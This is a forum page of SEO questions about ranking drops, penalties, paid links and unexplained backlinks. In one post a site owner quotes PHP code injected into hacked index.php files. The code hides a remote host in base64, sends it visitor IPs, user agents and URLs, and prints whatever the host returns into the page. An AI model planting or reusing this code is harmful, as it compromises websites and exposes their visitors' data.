Welcome to the Q&A Forum

I kind of know the answer, but just wanted to get some feedback from others. For the sake of argument, assume there are no other issues with the linking blog, such as: too many ads, thin content, etc. Question: If you make a payment for a blog post with a dofollow link, and in the blog post there is something to the effect of: "this post has been sponsored by..." Will Google crawlers detect that and flag that as an unnatural link?

On Agust 2 or 3.. I'm not sure about the exact date... 
The main URL of my website https://new-waves.net/ had been completely removed from Google search results! without getting any messages or Manual Actions on search console ?? but I'm still can find some of my site subpages in search results and on Google local maps results when I tried to check it on google 
info:new-waves.net >> no results
site:new-waves.net >> only now I can see the main URL in results because I had submitted it again and again to google but it might be deleted again today or tomorrow as that happen before last few days
100% of all ranked keywords >> my site URL new-waves.net had been completely removed from all results! but I'm still can see it on maps on some results I never get any penalties to my site on Google search console. I noticed some drops on some keywords before that happens (in June and July) but it all of it was related to web design keywords for local Qatar, but all other keywords that related to SEO and digital marketing were not have any changes and been on top My site was ranked number 1 on google search results for "digital marketing qatar" and some other keywords, but the main URL had been removed from 100% of all search results. but you can still see it on the map only. I just tried to submit it again to Google and to index it through google search console tool but still not get any results, Recently, based on google console, I found some new links but I have no idea how it been added to links of my website:
essay-writing-hub.com - 9,710
tiverton-market.co.uk - 252
facianohaircare.com - 48
prothemes.biz - 44
worldone.pw - 2
slashdot.org - 1
onwebmarketing.com - 1 the problem is that all my high PR real links deleted from google console as well although it still have my site link and it could be recognized by MOZ and other sites! Can any one help to know what is the reason?? and how can I solve this issue without losing my previous ranked keywords? Can I submit a direct message to google support or customer service to know the reason or get help on this issue? Thanks & Regards

I'm still stumped as to why the ranking has gone so poor on a whitehat site. (see attached image) As you can see we've steadily been improving the ranking over the last 6+ months and then got hit with a massive change this month... I can't physically see any issues and Moz isn't reporting anything negatively that would have such a major effect.. Like not as if the drops were subtle... they've all gone into the 50+ section! Any insights into what may have changed in the latest algo update would be appreciated?! S0sD7d8.png

Id like some help, My site had a rank fall and I think I was penalized by Penguin, I compared running a 'Full SERP Report "and I see no reason for me to be in 4th place in the SERP.The Facts: I have a higher: Page Authority, # of Root Domains Linking to the Page, Domain Authority, # of Root Domains Linking to the Domain, MozRank, MozTrust My mT/mR is 0.955 against: #1->0.983 #2->0 #3->1.023 (but my mozrank and moz trust is higher My website is: https://www.soprojetos.com.br/ this occours since Nov 2015. I have 99 external links against: #1->15   #2->0 #3->11 Link to OSE:https://moz.com/researchtools/ose/links?site=www.soprojetos.com.br&filter=&source=external&target=page&group=0&page=1&sort=page_authority&anchor_id=&anchor_type=&anchor_text=&from_site=What I think:I guess a have to Disallow some links that some crazy Real Estate Websites made to my website, but i'm afraid to do this, and id like an oppinion about why my website is not ranking first to "plantas de casas" and "projetos de casas" anymore, my competitors are not so well seen on google as me (according to moz) (sorry for my bad english i'm brazilian) Thanks in Advance

Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question :  Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard

I have a site which I thought was ranking well, however that doesn't seem to be the case. When I check the site from different IPs within the US it shows that the site is on page 1 and on other IPs it shows that it's on page 5 and for some keywords it shows it's not listed. This site was ranking well, before but I think google dropped it when I was giving putting in too much work with it (articles and press releases), but now it seems to have recovered when I check with my IP, but on other data centers it still shows it prior to recovering. It was able to recover after not building links to for a period of time, it showed it moved back up from the data center I'm connected to, but it still shows the possibly penalized results on other data centers. Is it possible that site is still penalized? So the question is why does it show it recovered in some data centers and not others? How do I fix this? It's been about 2 months since it's recovered from some data centers. Is this site still penalized or what's going on? There are no warnings in web master tools. Any insights would be appreciated! This isn't an issue with the rank tracking software, I've tested this on a multitude of IPs with varying differences. Thanks!

It's getting really hard filtering through the Penguin articles flying around right now so excuse me if this has been addressed: I know that Google no longer uses the meta keywords as indicators (VERY old news). But I'm just wondering if they are starting to look at them as a bigger spam indicator since Penguin is looking at over-optimization. If yes, has anyone read good article indicating so? The reason I ask is because I have two websites, one is authoritative and the other… not so much. Recently my authoritative website has taken a dip in rankings, a significant dip. The non-authoritative one has increased in rankings… by a lot. Now, the authoritative website pages that use meta-keywords seem to be the ones that are having issues… so it really has me wondering. Both websites compete with each other and are fairly similar in their offerings. I should also mention that the meta-keywords were implemented a long time ago… before I took over the account. Also important to note, I never purchase links and never practice any spammy techniques. I am as white hat as it gets which has me really puzzled as to why one site dropped drastically.

We are working on a site with a page that has been ranking on page one of serps for quiet some time. It all the sudden completely lost its ranking for a single term (no major changes to on page made), but still ranks on the 3rd page for a few similar terms. Those terms used to rank a bit higher. Is it possible that some old spammier link building techiniques could have caught up with this site? The page itself is still indexed, has a few terms it is ranking for - but just completely gone from index for primary term.